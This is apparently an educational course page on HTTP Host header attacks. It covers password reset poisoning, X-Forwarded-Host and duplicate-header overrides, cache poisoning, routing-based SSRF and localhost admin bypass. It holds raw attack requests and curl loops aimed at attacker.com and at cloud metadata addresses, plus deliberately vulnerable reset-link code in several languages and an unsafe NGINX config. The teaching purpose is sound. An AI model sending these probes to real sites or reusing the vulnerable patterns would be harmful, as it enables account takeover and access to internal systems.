Request HandlingHardServer-Side

HTTP Host Header Attacks

A complete guide to understanding, detecting, exploiting, and preventing HTTP Host Header Attacks vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

HTTP HOST HEADER ATTACKS

A complete ANAS EDUCATION course on the bug class that lives inside one tiny header.

SECTION 1. Introduction

Imagine you open your PC and visit `anastech.com`.

You forgot your password. You click "Forgot password". A page appears with one text box:

text
Enter your email: ______________

You type your email and click "Send reset link".

In the next half-second, three things happen:

  • Your browser sends an HTTP request to the server.
  • The server reads your email, generates a secret token, and saves it in the database.
  • The server emails you a link that includes that token.

The HTTP request your browser sent looks like this:

text
POST /forgot-password HTTP/1.1
Host: anastech.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

email=you@example.com

Notice the second line: `Host: anastech.com`.

The `Host` header tells the server which website you want. One server can host many websites (anastech.com, anasbank.com, anasmarket.com), so the `Host` header is how the server knows which one to reply about.

A few seconds later, you get an email:

text
Subject: Reset your password

Click this link to reset your password:
https://anastech.com/reset?token=abc123secret

The link expires in 30 minutes.

You click the link. You type a new password. Done.

Look at the link in the email carefully:

text
https://anastech.com/reset?token=abc123secret
       ^^^^^^^^^^^^
       Where did this domain come from?

Most developers write the reset email like this:

python
def send_reset_email(user_email, token):
    domain = request.headers["Host"]
    link = f"https://{domain}/reset?token={token}"
    send_email(user_email, link)

The developer reads the `Host` header from your request and pastes it into the email.

That feels safe. The `Host` header is part of HTTP. The browser sets it. The user does not type it.

Now look at the same picture again, but with a question on top of it:

  • What if you do not send `Host: anastech.com`?
  • What if you send `Host: attacker.com`?

You can. The Host header is just text in a request. You can change it with any tool: Burp Suite, curl, Python, Postman.

If the server trusts the Host header, the email goes out with:

text
https://attacker.com/reset?token=abc123secret

The victim user receives that email. They see "anastech.com" in the subject. They trust it. They click the link.

The browser sends the secret token to `attacker.com`.

The attacker now resets the victim's password.

That is the simplest possible HTTP Host header attack. It is called password reset poisoning.

But it is only one of seven famous attacks built from this one header. The other six let you:

  • Bypass admin authentication by setting `Host: localhost`.
  • Poison the CDN cache so every visitor gets a malicious link.
  • Reach internal servers via routing-based SSRF.
  • Hide payloads using ambiguous duplicate Host headers.
  • Smuggle Host through `X-Forwarded-Host`, `X-Host`, `X-Forwarded-Server`.
  • Bypass validation using connection state attacks.

This course teaches every one of them, slowly and completely.

By the end you will know:

  • What the Host header really does in HTTP/1.1 and HTTP/2.
  • How servers and proxies normally use it.
  • The 25+ ways attackers exploit it.
  • How to find each bug with curl, Burp, and Python.
  • How to fix each bug at the application, framework, and proxy layer.

You do not need to be an expert. You just need to read carefully.

SECTION 2. How It Works

To find these bugs, you first need to understand the Host header in detail.

Step 1. Why the Host header exists

In the early 1990s, one server could serve only one website. If you ran the server, you owned the IP, you owned the site. Simple.

Then virtual hosting was invented. One server, one IP, many websites.

text
IP 1.2.3.4
   │
   ├── anastech.com
   ├── anasbank.com
   ├── anasmarket.com
   └── anasdocs.com

When your browser connects to `1.2.3.4`, the server has no way to know which of the four sites you wanted, unless your browser tells it.

That is the job of the `Host` header. HTTP/1.1 made it mandatory.

text
GET /login HTTP/1.1
Host: anasbank.com

The server reads `anasbank.com` and routes the request to the right site.

Step 2. Who reads the Host header

The Host header is read by everyone in the chain:

text
┌─────────┐    ┌─────────┐    ┌─────────┐    ┌──────────┐
│ Browser │ -> │   CDN   │ -> │ Reverse │ -> │ Back-end │
│         │    │ (cache) │    │  proxy  │    │   app    │
└─────────┘    └─────────┘    └─────────┘    └──────────┘
                    │              │               │
                    │              │               │
                 Cache key      Routing       Application
                 includes       decides       reads Host
                 Host           which         to build URLs,
                                back-end      emails, redirects

Each layer can do something different with the Host header:

  • The CDN uses it as part of the cache key so `anasmarket.com` and `anasdocs.com` are cached separately.
  • The reverse proxy uses it to decide which back-end server gets the request.
  • The back-end app uses it to build absolute URLs (the dangerous one).

Step 3. The mandatory and the dangerous use of Host

The Host header has one mandatory use:

  • Routing the request to the right virtual host.

That use is safe because the server validates the Host against a list of sites it serves.

The dangerous use is when the application code reads the Host header at runtime to build URLs:

python
# Build a password reset link
link = f"https://{request.host}/reset?token={token}"

# Build an absolute URL in a Location header
return redirect(f"https://{request.host}/dashboard")

# Build an email signature with the site logo
logo_url = f"https://{request.host}/static/logo.png"

Each of these lines creates a way for an attacker who controls the Host header to control what the application generates.

Step 4. The normal flow on anastech.com

A safe request to forgot-password:

text
                          ┌──────────────┐
   POST /forgot-password  │ Browser      │
   Host: anastech.com     └──────┬───────┘
                                 │
                                 ▼
                          ┌──────────────┐
                          │ CDN          │  pass-through, cache miss on POST
                          └──────┬───────┘
                                 │
                                 ▼
                          ┌──────────────┐
                          │ Proxy        │  route to back-end based on
                          │              │  Host=anastech.com
                          └──────┬───────┘
                                 │
                                 ▼
                          ┌──────────────┐
                          │ App back-end │  read Host header
                          │              │  generate token
                          │              │  email link with Host
                          └──────────────┘

The email goes out with `https://anastech.com/reset?token=...`. Safe.

Step 5. The malicious flow

An attacker sends:

text
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

email=victim@gmail.com

The Host header is `attacker.com` instead of `anastech.com`.

text
                          ┌──────────────┐
   POST /forgot-password  │ Attacker     │
   Host: attacker.com     └──────┬───────┘
                                 │
                                 ▼
                          ┌──────────────┐
                          │ CDN          │  some CDNs reject unknown Host
                          └──────┬───────┘  but many forward anyway
                                 │
                                 ▼
                          ┌──────────────┐
                          │ Proxy        │  may route based on SNI/cert
                          │              │  not on Host header
                          └──────┬───────┘
                                 │
                                 ▼
                          ┌──────────────┐
                          │ App back-end │  trusts Host header
                          │              │  builds link
                          │              │  emails:
                          │              │  https://attacker.com/reset?token=X
                          └──────────────┘

The victim receives the email. The victim clicks the link. The browser sends the secret token to `attacker.com`. The attacker resets the victim's password.

Step 6. The X-Forwarded-Host bypass

Most modern apps know about Host header attacks and check the Host header against a list. But many use a backup header.

When a request goes through a CDN, the CDN often replaces the Host header with the CDN's own hostname and stores the original in `X-Forwarded-Host`:

text
POST /forgot-password HTTP/1.1
Host: backend.internal
X-Forwarded-Host: anastech.com

The back-end app uses `X-Forwarded-Host` to know the original site.

Now the attacker sends:

text
POST /forgot-password HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com

The app validates `Host: anastech.com` (passes). Then it reads `X-Forwarded-Host` to build the link. Same attack, different header.

The X-Forwarded-Host trick has variants:

  • `X-Host: attacker.com`
  • `X-Forwarded-Server: attacker.com`
  • `X-HTTP-Host-Override: attacker.com`
  • `X-Original-Host: attacker.com`
  • `Forwarded: host=attacker.com`

Every one of these can override Host depending on the framework.

Step 7. The duplicate Host trick

HTTP/1.1 requires exactly one Host header. But many servers accept two.

text
POST /forgot-password HTTP/1.1
Host: anastech.com
Host: attacker.com

The front-end validates the first one. The back-end uses the second one. Or vice versa. The result is the same: an attacker-controlled Host reaches the application.

Step 8. The line-folding trick

Some servers (older Apache, some Java parsers) honor obsolete line folding:

text
POST /forgot-password HTTP/1.1
Host: anastech.com
 attacker.com

The leading space on line 3 makes it a continuation of the Host line. Some parsers concatenate `anastech.com attacker.com` and some get confused. A few use only the last token.

These are the four mechanical ways an attacker controls the Host as seen by the back-end. Every Host header attack technique in Section 11 is built from at least one of them.

SECTION 3. Attack Flow

This is the step-by-step flow of a complete account takeover via password reset poisoning. No characters, just steps.

text
        ATTACKER                  CDN/PROXY              BACK-END APP            VICTIM
           │                          │                       │                    │
           │                          │                       │                    │
Step 1:    │                          │                       │                    │
identify   │                          │                       │                    │
target ──> │  find the                │                       │                    │
            forgot-password page                                                    │
           │                          │                       │                    │
Step 2:    │                          │                       │                    │
craft      │                          │                       │                    │
request:   │                          │                       │                    │
           │                          │                       │                    │
POST /forgot-password HTTP/1.1                                                     │
Host: attacker.com                                                                  │
email=victim@gmail.com                                                              │
           │                          │                       │                    │
           ├──────────────────────────►                       │                    │
           │                          │                       │                    │
Step 3:    │                          │                       │                    │
front-end  │                          │                       │                    │
forwards   │                          ├──────────────────────►│                    │
           │                          │                       │                    │
Step 4:    │                          │                       │                    │
back-end   │                          │                       │ generates token    │
generates  │                          │                       │ T = abc123secret   │
token      │                          │                       │ stores in DB       │
           │                          │                       │                    │
Step 5:    │                          │                       │                    │
back-end   │                          │                       │ builds link from   │
builds     │                          │                       │ Host header:       │
link       │                          │                       │ https://attacker.com/reset?token=T │
           │                          │                       │                    │
Step 6:    │                          │                       │                    │
back-end   │                          │                       │ sends email to     │
sends      │                          │                       │ victim@gmail.com   ├───►EMAIL
email      │                          │                       │ "Click here:       │   ARRIVES
           │                          │                       │  https://attacker.com/reset?token=T" │
           │                          │                       │                    │
Step 7:    │                          │                       │                    │
victim     │                          │                       │                    │ reads email
clicks     │                          │                       │                    │ trusts subject
           │                          │                       │                    │ clicks link
           │                          │                       │                    │
Step 8:    │                          │                       │                    │
browser    │                          │                       │                    │
fetches    │                          │                       │                    ├───►ATTACKER SERVER
attacker.com/reset?token=T                                                          │   logs request
           │                          │                       │                    │
Step 9:    │                          │                       │                    │
attacker   │                          │                       │                    │
holds      │ T = abc123secret         │                       │                    │
secret     │                          │                       │                    │
token      │                          │                       │                    │
           │                          │                       │                    │
Step 10:   │                          │                       │                    │
attacker   │                          │                       │                    │
visits     │                          │                       │                    │
real site  │ GET /reset?token=abc123secret                    │                    │
           │                          │                       │                    │
           ├──────────────────────────►──────────────────────►│                    │
           │                          │                       │ token valid        │
           │                          │                       │ resets password    │
           │                          │                       │                    │
Step 11:   │                          │                       │                    │
attacker   │ logs in with new password                        │                    │
owns       │                          │                       │                    │
account    │                          │                       │                    │
           │                          │                       │                    │

Eleven steps. Zero characters with names. The attacker holds nothing fancy, just an HTTP request and a server that logs traffic.

The same flow with `X-Forwarded-Host: attacker.com` instead of `Host` works on apps that validate Host but not X-Forwarded-Host.

The same flow with `Host: anastech.com` and a poisoned cache works against every user of the site simultaneously (web cache poisoning).

SECTION 4. Why Developers Make This Mistake

This bug is older than most developers in the industry. Yet it still ships. Here is why.

Mistake 1. "The Host header is part of HTTP, so it must be trustworthy"

The Host header looks official. RFC 9110 requires it. Browsers always send it. Frameworks expose it as `request.host` or `request.url.host`.

Developers reason: "If the browser sends it, it must be the user's real domain."

This is wrong. Anyone with a TCP socket can send any Host header. curl, Python, Burp, Postman, custom scripts. The browser is one client among many.

Mistake 2. "Generating absolute URLs is the convenient way"

Building an email body like this is short and clean:

python
link = f"https://{request.host}/reset?token={token}"

Building it with a hardcoded base URL feels redundant:

python
link = f"https://anastech.com/reset?token={token}"

Developers reach for the convenient version because it works in dev, staging, and production without changing the code. The hardcoded version requires environment-specific config.

The convenient version is the vulnerable one.

Mistake 3. "We use a reverse proxy, the proxy will validate the Host"

In a multi-tier architecture, developers assume the proxy in front of them did the validation. The proxy operations team assumes the application did the validation. Neither does it. Result: a vulnerability that survived 5 code reviews because everyone thought it was someone else's job.

The classic "X-Forwarded-Host trusted from anywhere" bug lives here.

Mistake 4. "We tested with the browser, the Host header was correct"

Most developers only ever generate requests from their browser. The browser sends the right Host. Tests pass. Bugs ship.

You need to test with curl, Burp Repeater, or a Python script that lets you inject arbitrary headers. Most developers do not.

SECTION 5. Beginner Summary

  • The `Host` header tells a server which website you want. One server can host many sites; the Host header picks the right one.
  • Many apps read the Host header at runtime to build links (password reset emails, redirects, image URLs). If the attacker controls Host, the attacker controls those links.
  • The classic attack is password reset poisoning: send a forgot-password request with `Host: attacker.com` and the victim receives an email pointing to attacker.com with their secret token.
  • Other attacks include `Host: localhost` to bypass admin checks, `X-Forwarded-Host: attacker.com` to override validated Host, duplicate Host headers, and routing-based SSRF when the front-end forwards based on Host.
  • The fix is to never use the Host header to build URLs. Hardcode the canonical domain in a config file. If you must use Host, validate it against an allow-list of permitted domains and reject everything else.

SECTION 6. Visual Explanation

Diagram 1. The safe pattern

The application uses a hardcoded base URL from configuration. The Host header is ignored for URL building.

text
       config.yaml
       ┌────────────────────┐
       │ BASE_URL:          │
       │  anastech.com      │
       └─────────┬──────────┘
                 │
                 ▼
       ┌────────────────────┐
       │ App code:          │
       │ link = BASE_URL    │
       │      + "/reset?t=" │
       │      + token       │
       └─────────┬──────────┘
                 │
                 ▼
       https://anastech.com/reset?token=abc123

Whatever Host header arrives in the request, the link always points to anastech.com.

Diagram 2. The vulnerable pattern

The application reads `request.host` (or `X-Forwarded-Host`) at runtime to build URLs.

text
       HTTP request:
       ┌────────────────────┐
       │ Host: attacker.com │
       └─────────┬──────────┘
                 │
                 ▼
       ┌────────────────────┐
       │ App code:          │
       │ link = "https://"  │
       │      + request.host│
       │      + "/reset?t=" │
       │      + token       │
       └─────────┬──────────┘
                 │
                 ▼
       https://attacker.com/reset?token=abc123

The link inherits whatever Host the attacker sent.

Diagram 3. Headers an attacker can use

text
┌─────────────────────────────────────────────────────────────────┐
│             HEADERS THAT OVERRIDE THE TRUE HOST                 │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Host                              The original one. Always try.│
│  X-Forwarded-Host                  Common proxy override.       │
│  X-Host                            Old Apache/IIS variant.      │
│  X-Forwarded-Server                Apache mod_proxy variant.    │
│  X-HTTP-Host-Override              Rare but real.               │
│  X-Original-Host                   Some Azure proxies.          │
│  Forwarded: host=...               RFC 7239, often forgotten.   │
│  X-Real-Host                       Custom CDN variant.          │
│  X-Original-URL                    IIS path override, related.  │
│  X-Rewrite-URL                     Symfony variant.             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Diagram 4. Attack escalation ladder

text
  Level 1: Reflected Host                                            
  ───────                                                            
  GET / HTTP/1.1                                                     
  Host: attacker.com                                                 
  ────► response contains <a href="attacker.com">...                 
  Impact: Low. Open redirect.                                        
                                                                     
        ▼                                                            
                                                                     
  Level 2: Password reset poisoning                                  
  ───────                                                            
  POST /forgot-password                                              
  Host: attacker.com                                                 
  ────► email link points to attacker.com                            
  Impact: Account takeover per user.                                 
                                                                     
        ▼                                                            
                                                                     
  Level 3: Web cache poisoning                                       
  ───────                                                            
  GET / HTTP/1.1                                                     
  Host: anastech.com                                                 
  X-Forwarded-Host: attacker.com                                     
  ────► cached response includes attacker.com links                  
  Impact: Mass exploitation. Every visitor poisoned.                 
                                                                     
        ▼                                                            
                                                                     
  Level 4: Routing-based SSRF                                        
  ───────                                                            
  GET / HTTP/1.1                                                     
  Host: 192.168.0.1                                                  
  ────► proxy forwards to internal IP                                
  Impact: Cloud metadata, internal admin panels.                     
                                                                     
        ▼                                                            
                                                                     
  Level 5: Host validation bypass via connection state               
  ───────                                                            
  Request 1: Host: anastech.com (validates)                          
  Request 2 (same TCP): Host: localhost                              
  ────► second request hits admin panel                              
  Impact: Authentication bypass. Full admin access.

Diagram 5. Where the Host header travels

text
   ┌─────────┐
   │ Browser │  generates Host from URL bar
   └────┬────┘
        │ TCP
        ▼
   ┌─────────┐
   │   CDN   │  uses Host as part of cache key
   │ (Akamai,│  may rewrite to X-Forwarded-Host
   │ Cloudfl)│  may reject unknown Host
   └────┬────┘
        │
        ▼
   ┌─────────┐
   │  WAF    │  matches Host against allow-list
   │         │  may pass any header through
   └────┬────┘
        │
        ▼
   ┌─────────┐
   │ Reverse │  uses Host to pick upstream
   │  Proxy  │  e.g. NGINX server_name match
   │ (NGINX, │
   │ HAProxy)│
   └────┬────┘
        │
        ▼
   ┌─────────┐
   │ App     │  reads request.host to build URLs
   │ (where  │  THIS IS WHERE THE BUG LIVES
   │  the    │
   │  bug    │
   │  lives) │
   └─────────┘

The deeper the bug lives, the more layers an attacker has to trick to reach it.

SECTION 7. Definition

Technical definition

HTTP Host header attacks are a class of vulnerabilities in which an attacker manipulates the `Host` header (or related override headers such as `X-Forwarded-Host`) to cause the back-end application to make incorrect routing, validation, or content-generation decisions. The application reads the Host header at runtime to construct absolute URLs (password reset links, email contents, redirects, canonical tags), to authenticate or authorize requests (allow-listing localhost, internal IPs, or admin hostnames), or to route traffic to internal services. Because the Host header is attacker-controllable at the TCP layer, any trust placed in it without validation creates a vulnerability.

Primary classifications:

  • CWE-20 (Improper Input Validation), umbrella for unvalidated Host.
  • CWE-444 (Inconsistent Interpretation of HTTP Requests), when Host is interpreted differently by front-end and back-end.
  • CWE-640 (Weak Password Recovery Mechanism for Forgotten Password), when used for password reset poisoning.
  • CWE-918 (Server-Side Request Forgery), when the bug enables routing to internal hosts.
  • CWE-345 (Insufficient Verification of Data Authenticity), when the Host is used to determine origin authority.

OWASP categories:

  • A03:2021 - Injection (the Host value is injected into emails, URLs, headers).
  • A05:2021 - Security Misconfiguration (proxy and framework defaults trust Host).
  • A07:2021 - Identification and Authentication Failures (password reset poisoning).
  • A10:2021 - Server-Side Request Forgery (SSRF) (routing-based variants).

Beginner definition

The Host header is a label on every HTTP request that says which website the user is asking for. If the app trusts that label without checking, the attacker can put anyone's name on the label and trick the app.

Why it matters in 2025-2026

  • CVE-2025-52560 (Kanboard) ==> CWE-640. Kanboard password reset email URLs are derived from the unvalidated Host header when `application_url` is unset. Attackers send a poisoned forgot-password request and capture reset tokens.
  • CVE-2024-46452 (open-source online shop) ==> Host Header Injection in the password reset function. Public 2024 disclosure.
  • CVE-2024-40686 (IBM SmartCloud Analytics) ==> Host Header Injection enabling cache poisoning and session hijacking.
  • CVE-2023-32314 (vm2 sandbox) ==> Host-based path detection bypass.
  • CVE-2022-2812 (Authelia) ==> Allowed Host header bypass leading to redirect to attacker.

Every major framework has patched at least one Host header CVE in the last 36 months: Django, Flask, Express, Spring, ASP.NET Core, Rails, Laravel. The bug never dies because absolute URL generation never dies.

Common affected systems

  • Password reset and account recovery features in any web application.
  • Single sign-on (SSO) implementations using SAML or OAuth with redirect URIs derived from Host.
  • Email notification systems (account creation, invitation, billing receipts).
  • CDN-fronted applications (cache poisoning amplifies the bug).
  • Multi-tenant SaaS platforms where Host determines tenant context.
  • Admin panels that allow-list `localhost` or `127.0.0.1` without checking the network layer.
  • Internal services exposed by routing-based logic that trusts Host.
  • Frameworks that auto-generate absolute URLs from request context (Django `request.build_absolute_uri`, Spring `ServletUriComponentsBuilder`, Express `req.headers.host`).

SECTION 8. Examples

Example 1. The password reset on anastech.com

The feature. AnasTech has a forgot-password page. The user enters their email. The server sends a link with a secret token to that email. The user clicks the link, types a new password, and is logged in.

The bug. The Python back-end builds the email link from `request.headers["Host"]` instead of a hardcoded base URL.

The attack step by step.

  • The attacker captures or guesses the victim's email (`carlos@gmail.com`).
  • The attacker sends `POST /forgot-password` with `Host: attacker.com` and body `email=carlos@gmail.com`.
  • AnasTech generates a token, stores it in the database, and sends the email.
  • The email contains the link `https://attacker.com/reset?token=secret_T`.
  • Carlos receives the email titled "AnasTech password reset" and clicks the link.
  • Carlos's browser sends a GET to `attacker.com/reset?token=secret_T`.
  • The attacker server logs the token, then redirects Carlos to the real site so Carlos sees nothing suspicious.
  • The attacker visits `https://anastech.com/reset?token=secret_T`, sets a new password, and owns Carlos's account.

Example 2. The admin panel that trusts localhost

The feature. AnasCorp internal admin panel checks the Host header. If `Host == localhost` or `Host == 127.0.0.1`, the panel skips the login check because "only local processes can reach localhost".

The bug. The check happens at the application layer. The reverse proxy in front of the app forwards arbitrary Host headers without rewriting them.

The attack step by step.

  • The attacker discovers `admin.anascorp.com` returns a login page on standard requests.
  • The attacker changes the Host header to `localhost` and sends the same request.
  • The reverse proxy forwards based on TLS SNI, not the Host header.
  • The application sees `Host: localhost`, skips the login check, and renders the full admin panel.
  • The attacker reads all employee data, creates a new admin user, and pivots to internal services.

Example 3. The CDN cache that gets poisoned

The feature. AnasMarket fronts its main site with a CDN. The CDN caches the homepage by path. The homepage contains absolute URLs to CSS, JavaScript, and images, built using `request.host`.

The bug. The CDN does not include the Host header (or the X-Forwarded-Host header) in the cache key for the homepage. The application includes whatever Host arrives in its generated HTML.

The attack step by step.

  • The attacker sends `GET /` with `Host: anasmarket.com` and `X-Forwarded-Host: attacker.com`.
  • The application uses `X-Forwarded-Host` to build the page, including `<script src="https://attacker.com/main.js">`.
  • The response is cached by the CDN under key `/` for site `anasmarket.com`.
  • Every subsequent visitor receives the poisoned homepage from cache.
  • Each visitor's browser fetches and executes `attacker.com/main.js`.
  • The attacker steals session cookies, runs cryptominers, or redirects to phishing pages.

Example 4. The routing-based SSRF on AnasBank

The feature. AnasBank has a multi-tier architecture. The edge proxy forwards based on TLS SNI to the same back-end pool. Each pool member uses the Host header to decide which application to invoke.

The bug. The proxy does not enforce that the Host header matches the SNI. The application back-end accepts any Host. Some internal hosts are only reachable via the back-end pool but use the Host header to identify themselves.

The attack step by step.

  • The attacker sends a request to the public endpoint with `Host: internal-admin.local`.
  • The proxy forwards based on SNI (which points to the public hostname).
  • The back-end reads `Host: internal-admin.local` and routes the request internally.
  • The attacker reaches the internal admin server that is not exposed to the internet.
  • Same trick with `Host: 169.254.169.254` reaches the cloud metadata service.

Example 5. The dangling markup on AnasOne

The feature. AnasOne sends password reset emails using an HTML template. The email contains a `<base href="...">` tag generated from the Host header. The base tag tells the email client where to resolve relative URLs.

The bug. The Host header is inserted into the HTML without escaping. The reset link itself uses relative paths.

The attack step by step.

  • The attacker sends a forgot-password request with `Host: x"><a href='//attacker.com/?`.
  • The application generates HTML: `<base href="x"><a href='//attacker.com/?">`.
  • The browser sees a complete `<base href="x">` and an `<a>` tag with attacker's URL.
  • The legitimate reset link in the email is now rendered as an `<a>` tag pointing to attacker.com.
  • The victim clicks the link expecting to reset the password but lands on attacker.com.
  • Token leaks via the Referer header or via the URL fragment.

This variant is called password reset poisoning via dangling markup. It works even when the developer correctly URL-encodes the Host for the link but forgets to escape it for the surrounding HTML.

SECTION 9. Vulnerable Code

Python (Flask)

python
# VULNERABLE
from flask import Flask, request

@app.route("/forgot-password", methods=["POST"])
def forgot_password():
    email = request.form["email"]
    user = find_user(email)
    if user:
        token = generate_token()
        save_token(user, token)
        # BUG: request.host comes from the Host header, attacker-controlled
        reset_link = f"https://{request.host}/reset?token={token}"
        send_email(email, "Reset your password", f"Click: {reset_link}")
    return "Email sent if account exists"

Python (Django)

python
# VULNERABLE
from django.shortcuts import render
from django.core.mail import send_mail

def forgot_password(request):
    email = request.POST["email"]
    user = User.objects.filter(email=email).first()
    if user:
        token = make_token(user)
        # BUG: request.get_host() reads Host header without validating against ALLOWED_HOSTS
        # in older Django versions, or when ALLOWED_HOSTS is wildcarded with "*"
        reset_url = request.build_absolute_uri(f"/reset?token={token}")
        send_mail(
            "Reset your password",
            f"Click: {reset_url}",
            "noreply@anastech.com",
            [email]
        )
    return render(request, "forgot_sent.html")

PHP

php
<?php
// VULNERABLE
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $email = $_POST["email"];
    $user = find_user($email);
    if ($user) {
        $token = bin2hex(random_bytes(16));
        save_token($user, $token);
        // BUG: HTTP_HOST is the Host header, attacker-controlled
        $reset_link = "https://" . $_SERVER["HTTP_HOST"] . "/reset.php?token=" . $token;
        mail($email, "Reset your password", "Click: " . $reset_link);
    }
}
?>

Node.js (Express)

javascript
// VULNERABLE
app.post('/forgot-password', async (req, res) => {
    const { email } = req.body;
    const user = await findUser(email);
    if (user) {
        const token = generateToken();
        await saveToken(user, token);
        // BUG: req.headers.host is the Host header, attacker-controlled
        // BUG: req.hostname in Express trusts X-Forwarded-Host by default if trust proxy is set
        const link = `https://${req.headers.host}/reset?token=${token}`;
        await sendEmail(email, 'Reset your password', `Click: ${link}`);
    }
    res.send('Email sent if account exists');
});

Java (Spring Boot)

java
// VULNERABLE
@PostMapping("/forgot-password")
public String forgotPassword(@RequestParam String email, HttpServletRequest request) {
    User user = userRepo.findByEmail(email);
    if (user != null) {
        String token = generateToken();
        saveToken(user, token);
        // BUG: ServletUriComponentsBuilder uses request Host header
        String resetLink = ServletUriComponentsBuilder.fromCurrentContextPath()
            .path("/reset")
            .queryParam("token", token)
            .toUriString();
        emailService.send(email, "Reset your password", "Click: " + resetLink);
    }
    return "redirect:/forgot-sent";
}

C# (ASP.NET Core)

csharp
// VULNERABLE
[HttpPost("/forgot-password")]
public IActionResult ForgotPassword([FromForm] string email) {
    var user = _userService.FindByEmail(email);
    if (user != null) {
        var token = _tokenService.Generate();
        _tokenService.Save(user, token);
        // BUG: Request.Host comes from the Host header
        var resetLink = $"https://{Request.Host}/reset?token={token}";
        _email.Send(email, "Reset your password", $"Click: {resetLink}");
    }
    return Ok("Email sent if account exists");
}

Ruby on Rails

ruby
# VULNERABLE
class PasswordsController < ApplicationController
  def create
    user = User.find_by(email: params[:email])
    if user
      token = user.generate_reset_token
      # BUG: request.host comes from the Host header
      reset_link = "https://#{request.host}/reset?token=#{token}"
      UserMailer.password_reset(user, reset_link).deliver_now
    end
    head :ok
  end
end

NGINX (proxy misconfiguration)

nginx
# VULNERABLE: forwards Host as-is, no validation
server {
    listen 443 ssl;
    server_name _;  # accepts ANY hostname

    location / {
        proxy_pass http://backend;
        proxy_set_header Host $host;  # forwards attacker-controlled Host
        proxy_set_header X-Forwarded-Host $host;  # also forwards
    }
}

The universal pattern across languages

Every vulnerable code sample above contains the same logical mistake:

  • 1. Trust placed in a request-controlled header. The Host header comes from the client; it cannot be trusted.
  • 2. Used without an allow-list. No check against a list of known good hostnames.
  • 3. Used to build something that gets shipped to other users (email, cached HTML, Location header).
  • 4. Side-effect outside the request. The bug only triggers because of email or cache, not the direct response.
  • 5. Framework feels safe. Developers use built-in helpers (`build_absolute_uri`, `ServletUriComponentsBuilder`, `req.hostname`) believing they are protected, but the helpers just pass through the Host header.

The pattern is identical to every other HTTP injection bug: untrusted input + no allow-list + downstream impact.

SECTION 10. Detection

Manual detection steps

  • 1. Identify every place the application generates an absolute URL: password reset emails, account verification, invitation links, email signatures, OAuth redirects, SAML responses, Location headers, OpenGraph meta tags, canonical links.
  • 2. For each absolute URL, capture a normal request in Burp Suite or curl.
  • 3. Change `Host: anastech.com` to `Host: attacker.com` (use a domain you control such as Burp Collaborator).
  • 4. Re-send the request.
  • 5. Read the response carefully. Look for `attacker.com` reflected in the body, in a header, or in a link.
  • 6. If the feature sends an email, trigger it with your own account and inspect the email body.
  • 7. If the feature redirects, watch the `Location:` header for `attacker.com`.
  • 8. If reflection appears anywhere, try `X-Forwarded-Host`, `X-Host`, `X-Forwarded-Server`, `Forwarded` instead of changing Host directly.
  • 9. Try `Host: localhost`, `Host: 127.0.0.1`, `Host: 169.254.169.254`, `Host: internal.local` to test for routing-based SSRF and authentication bypass.
  • 10. Try duplicate Host headers, indented Host headers, and absolute URI in the request line.

Burp Suite step by step

  • 1. Browse the application to capture the forgot-password request in Proxy ==> HTTP history.
  • 2. Right-click the request ==> Send to Repeater.
  • 3. In Repeater, switch the protocol to HTTP/1.1 (Inspector ==> Request attributes ==> Protocol). HTTP/2 makes Host editing tricky because of the `:authority` pseudo-header.
  • 4. Change the `Host:` value to `attacker.com` or your Burp Collaborator domain.
  • 5. Click Send. Read the response.
  • 6. If the email is the side effect, switch to your test email account, trigger the request, then check the inbox for the poisoned link.
  • 7. For X-Forwarded-Host testing, keep `Host: anastech.com` (so the front-end validator accepts) and add a new header `X-Forwarded-Host: attacker.com` below.
  • 8. To test routing-based SSRF, set `Host: 127.0.0.1`, `Host: 169.254.169.254`, or `Host: metadata.google.internal` and watch for different response sizes or error messages indicating the request reached a different back-end.
  • 9. Use the Burp Param Miner extension and right-click ==> Guess headers to discover undocumented override headers (`X-Backend-Host`, `X-Forwarded-Server`, etc.).

Common detection probes (one per technique)

text
# Probe 1: reflected Host
GET / HTTP/1.1
Host: anastech.com.attacker.com

# Probe 2: complete Host replacement
GET / HTTP/1.1
Host: attacker.com

# Probe 3: X-Forwarded-Host override
GET / HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com

# Probe 4: X-Forwarded-Host with port
GET / HTTP/1.1
Host: anastech.com
X-Forwarded-Host: attacker.com:80

# Probe 5: Duplicate Host
GET / HTTP/1.1
Host: anastech.com
Host: attacker.com

# Probe 6: Indented Host (line folding)
GET / HTTP/1.1
Host: anastech.com
 attacker.com

# Probe 7: Absolute URI
GET https://attacker.com/ HTTP/1.1
Host: anastech.com

# Probe 8: Host with port for routing tests
GET / HTTP/1.1
Host: 127.0.0.1:80

# Probe 9: Localhost authentication bypass
GET /admin HTTP/1.1
Host: localhost

# Probe 10: AWS metadata SSRF
GET / HTTP/1.1
Host: 169.254.169.254

Automated tools

Quick command-line scripts

bash
# Quick reflection check with curl
curl -k -H "Host: attacker.com" -H "X-Forwarded-Host: attacker.com" \
     -i https://anastech.com/ | grep -i attacker

# Test 10 override headers in one shot
for H in Host X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
         X-Original-Host X-Real-Host X-Backend-Host Forwarded X-Rewrite-URL; do
    echo "===== $H ====="
    curl -k -s -H "$H: attacker.com" https://anastech.com/ | grep -c attacker.com
done

# Routing-based SSRF probe
for HOST in localhost 127.0.0.1 169.254.169.254 metadata.google.internal \
            100.100.100.200 internal-admin.local; do
    echo "===== Host: $HOST ====="
    curl -k -s -o /dev/null -w "%{http_code} %{size_download}\n" \
         -H "Host: $HOST" https://target.com/
done

Indicators of vulnerability

  • Password reset emails that point back to the exact Host you sent in the request.
  • Location headers that reflect arbitrary Host values.
  • `<base href="...">` tags, canonical links, OpenGraph `og:url`, or Twitter Card `twitter:url` containing the request Host.
  • Different response sizes when Host is `localhost`, `127.0.0.1`, or an internal IP.
  • `502 Bad Gateway` or `504 Gateway Timeout` errors when Host is changed (indicates routing logic).
  • Successful access to admin routes when Host is `localhost`.
  • Cache hits (`X-Cache: HIT`) on pages that reflect headers.

Why the X-Cache header matters

When you request a page, the response can come from one of two places:

  • Cache (a stored copy) ==> fast, shared copy kept by a proxy/CDN.
  • Backend (the origin server) ==> the real website server.

